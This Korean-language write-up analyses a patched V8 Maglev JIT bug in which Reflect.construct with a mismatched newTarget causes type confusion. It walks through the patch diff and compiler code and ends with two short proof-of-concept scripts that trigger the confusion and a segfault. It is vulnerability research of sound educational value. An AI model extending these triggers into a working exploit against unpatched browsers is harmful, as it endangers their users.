Environment Setting
Install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH
Get V8 source code
mkdir v8
cd v8
fetch v8
cd v8
git checkout 7f22404388ef0eb9383f189c1b0a85b5ea93b079
gclient sync -D
Install build dependencies
./build/install-build-deps.sh
Build V8
gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
ninja -C out/debug d8; ninja -C out/release d8
Install GDB plugin
echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit
Prerequisite Knowledge
Maglev
Maglev는 컴파일 속도를 중점에 두고 설계된 V8의 새로운 mid-tier JIT compiler입니다.
Maglev design docs (2022.02.04.)
Turbofan보다 최적화를 덜 하는 대신 컴파일 속도가 빠른 장점이 있습니다. 테스트 결과, Jetstream에서 7.5%, Speedometer에서 5%의 속도 향상이 있었다고 합니다.
Maglev가 default로 활성화되기 전의 버전에서는, Maglev를 사용하려면 --maglev
옵션을 줘야 합니다.
함수를 Maglev로 컴파일하려면, % OptimizeMaglevOnNextCall()
을 사용하거나, % OptimizeFunctionOnNextCall()
을 사용하고 --optimize-on-next-call-optimizes-to-maglev
옵션을 주면 됩니다.
Constructor
JavaScript
에서 class의 constructor
(생성자, ctor)는 instance를 생성할 때 호출되는 특수한 method입니다.
/* test.js */
class A {
constructor() {
console.log('constructor');
}
}
new A();
new A()
로 A
class의 instance를 생성할 때 constructor()
가 호출되는 것을 확인할 수 있습니다. 생성된 object의 prototype과 constructor 정보는 map에 저장됩니다.
/* test.js */
class A {
constructor() { }
}
let a = new A();
% DebugPrint(a);
% DebugPrint(A);
a
의 prototype은 class A
이고, constructor는 함수 A()
입니다.
Constructor A()
에서 initial_map
은 이 constructor가 생성한 object a
의 map을 의미하고, 앞으로 생성하는 모든 object도 메모리 구조가 같기 때문에 동일한 map을 가지게 됩니다. A()
는 Function
type이기 때문에 prototype은 class JSFunction
이고, constructor는 함수 Function()
입니다.
Class를 상속받은 경우에는 약간의 차이가 있습니다.
/* test.js */
class A { }
class B extends A {
constructor() {
super();
}
}
let b = new B();
% DebugPrint(b);
% DebugPrint(B);
b
의 prototype은 class B
인데, constructor는 parent class의 constructor와 동일하게 함수 A()
입니다. B
를 상속받는 또다른 class가 있어도 B
와 동일한 constructor를 가지기 때문에 역시 A()
가 됩니다.
Constructor B()
의 prototype은 parent class의 constructor인 A()
인데, constructor는 마찬가지로 A()
의 constructor와 동일하게 함수 Function()
입니다.
Reflect.construct()
를 이용하면 constructor가 생성하는 object의 prototype을 임의로 지정할 수 있습니다.
/* test.js */
class A { }
class B extends A {
constructor() {
console.log('new.target == ' + new.target + '\n');
super();
}
}
class C extends B { }
let b = Reflect.construct(B, [], C);
% DebugPrint(b);
% DebugPrint(B);
Reflect.construct()
의 첫 번째 인자는 target
(호출할 constructor), 두 번째 인자는 argumentsList
(constructor에 전달할 인자들로 구성된 array), 세 번째 인자(optional)는 newTarget
(생성될 object의 prototype)입니다. Constructor 내부에서 new.target
으로 newTarget
에 접근할 수 있습니다.
b
의 prototype이 class C
인 것을 확인할 수 있습니다.
Reflect.construct()
로 object를 생성한 경우에는 initial_map
이 저장되지 않습니다.
Analysis
Patch diff
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index d5f6128..2c5227e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5347,6 +5347,14 @@
StoreRegister(iterator_.GetRegisterOperand(0), map_proto);
}
+bool MaglevGraphBuilder::HasValidInitialMap(
+ compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
+ if (!new_target.map(broker()).has_prototype_slot()) return false;
+ if (!new_target.has_initial_map(broker())) return false;
+ compiler::MapRef initial_map = new_target.initial_map(broker());
+ return initial_map.GetConstructor(broker()).equals(constructor);
+}
+
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
- if (new_target_function && new_target_function->IsJSFunction()) {
+ if (new_target_function && new_target_function->IsJSFunction() &&
+ HasValidInitialMap(new_target_function->AsJSFunction(),
+ current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
Maglev가 FindNonDefaultConstructorOrConstruct
instruction을 컴파일할 때 호출되는 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct()
에서, BuildAllocateFastObject()
로 들어가는 조건문에 HasValidInitialMap(new_target_function->AsJSFunction(), current_function)
이 추가되었습니다.
Code flow
FindNonDefaultConstructorOrConstruct
는 parent class의 constructor(super ctor)로부터 non-default ctor를 만날 때까지 prototype chain을 탐색하는 instruction입니다.
/* v8/src/interpreter/interpreter-generator.cc */
// FindNonDefaultConstructorOrConstruct <this_function> <new_target> <output>
//
// Walks the prototype chain from <this_function>'s super ctor until we see a
// non-default ctor. If the walk ends at a default base ctor, creates an
// instance and stores it in <output[1]> and stores true into output[0].
// Otherwise, stores the first non-default ctor into <output[1]> and false into
// <output[0]>.
IGNITION_HANDLER(FindNonDefaultConstructorOrConstruct, InterpreterAssembler) {
TNode<Context> context = GetContext();
TVARIABLE(Object, constructor);
Label found_default_base_ctor(this, &constructor),
found_something_else(this, &constructor);
TNode<JSFunction> this_function = CAST(LoadRegisterAtOperandIndex(0));
FindNonDefaultConstructor(this_function, constructor,
&found_default_base_ctor, &found_something_else);
BIND(&found_default_base_ctor);
{
// Create an object directly, without calling the default base ctor.
TNode<Object> new_target = LoadRegisterAtOperandIndex(1);
TNode<Object> instance = CallBuiltin(Builtin::kFastNewObject, context,
constructor.value(), new_target);
StoreRegisterPairAtOperandIndex(TrueConstant(), instance, 2);
Dispatch();
}
BIND(&found_something_else);
{
// Not a base ctor (or bailed out).
StoreRegisterPairAtOperandIndex(FalseConstant(), constructor.value(), 2);
Dispatch();
}
}
MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct()
는 컴파일 과정에서 FindNonDefaultConstructorOrConstruct
instruction을 처리하는 함수입니다. 패치 전의 코드를 보면,
/* v8/src/maglev/maglev-graph-builder.cc */
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
...
while (true) {
...
if (new_target_function && new_target_function->IsJSFunction()) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
}
StoreRegister(register_pair.first, GetBooleanConstant(true));
StoreRegister(register_pair.second, object);
return;
}
break;
}
// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
...
}
current_function
은 prototype chain에서 현재 탐색 중인 constructor이고, new_target_function
은 new.target
입니다. new_target_function && new_target_function->IsJSFunction()
이 true
이면 BuildAllocateFastObject()
를 호출합니다.
/* v8/src/maglev/maglev-graph-builder.cc */
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
FastObject object, AllocationType allocation_type) {
...
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size, allocation_type);
BuildStoreReceiverMap(allocation, object.map);
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},
JSObject::kPropertiesOrHashOffset);
if (object.js_array_length.has_value()) {
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length),
JSArray::kLengthOffset);
}
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i],
object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}
BuildAllocateFastObject()
가 생성하는 코드는 constructor의 instance의 구조에 맞게 object를 구성하여 반환합니다.
만약 Reflect.construct()
의 세 번째 인자인 newTarget
이 구조가 다른 object를 생성하는 constructor라면, object의 구조와 prototype이 일치하지 않아 type confusion이 발생할 수 있습니다.
bool MaglevGraphBuilder::HasValidInitialMap(
compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
if (!new_target.map(broker()).has_prototype_slot()) return false;
if (!new_target.has_initial_map(broker())) return false;
compiler::MapRef initial_map = new_target.initial_map(broker());
return initial_map.GetConstructor(broker()).equals(constructor);
}
따라서 패치에서는 BuildAllocateFastObject()
를 호출하기 전에 HasValidInitialMap()
으로 new_target_function
의 initial_map
의 constructor가 current_function
인지 확인하는 코드가 추가되었습니다.
PoC
/* poc.js */
var x;
class A { }
class B extends A {
constructor() {
x = new.target;
super();
}
}
let newTarget = Error;
% PrepareFunctionForOptimization(B);
Reflect.construct(B, [], newTarget);
% OptimizeMaglevOnNextCall(B);
let b = Reflect.construct(B, [], newTarget);
let o = new newTarget();
% DebugPrint(o);
% DebugPrint(b);
newTarget
에 임의의 class를 넣으면 class B
와 type confusion을 일으킬 수 있습니다.
만약 이를 이용하여 접근할 수 없는 메모리에 접근하려고 시도하면 segmentation fault가 발생합니다.
/* poc.js */
var x;
class A { }
class B extends A {
constructor() {
x = new.target;
super();
}
}
let newTarget = Number;
% PrepareFunctionForOptimization(B);
Reflect.construct(B, [], newTarget);
% OptimizeMaglevOnNextCall(B);
let b = Reflect.construct(B, [], newTarget);
let o = new newTarget();
% DebugPrint(o);
% DebugPrint(b);
elements
다음에 나올 value
를 가져오는 과정에서 터진 것을 확인할 수 있습니다.
정상적인 Number
object인 o
의 메모리 구조를 보면,
빨간 박스가 value
에 해당하는데,
b
의 경우 value
가 홀수이므로 SMI가 아니기 때문에 저 주소로 접근하려다가 SIGSEGV
가 발생하게 됩니다.